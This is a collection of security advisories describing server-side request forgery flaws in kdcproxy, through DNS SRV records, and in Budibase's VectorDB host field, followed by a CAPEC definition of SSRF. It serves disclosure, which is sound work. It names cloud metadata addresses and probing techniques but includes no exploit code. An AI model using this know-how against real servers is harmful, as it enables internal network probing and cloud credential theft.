Vulnerability from github – Published: 2025-11-12 18:31 – Updated: 2025-12-10 00:30If kdcproxy receives a request for a realm which does not have server addresses defined in its configuration, by default, it will query SRV records in the DNS zone matching the requested realm name. This creates a server-side request forgery vulnerability, since an attacker could send a request for a realm matching a DNS zone where they created SRV records pointing to arbitrary ports and hostnames (which may resolve to loopback or internal IP addresses). This vulnerability can be exploited to probe internal network topology and firewall rules, perform port scanning, and exfiltrate data. Deployments where the "use_dns" setting is explicitly set to false are not affected.

GHSA-CV96-5348-P5P8
Vulnerability from github – Published: 2026-06-12 18:27 – Updated: 2026-06-12 18:27Summary
The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as 169.254.169.254 or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf.
Details
The validator responsible for VectorDB creation and updates defines the host field as Joi.string().required(), which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment.
When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at 169.254.169.254, the GCP metadata server at metadata.google.internal, and equivalent endpoints for other providers are all reachable this way.
Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure.

Impact
An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.

CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
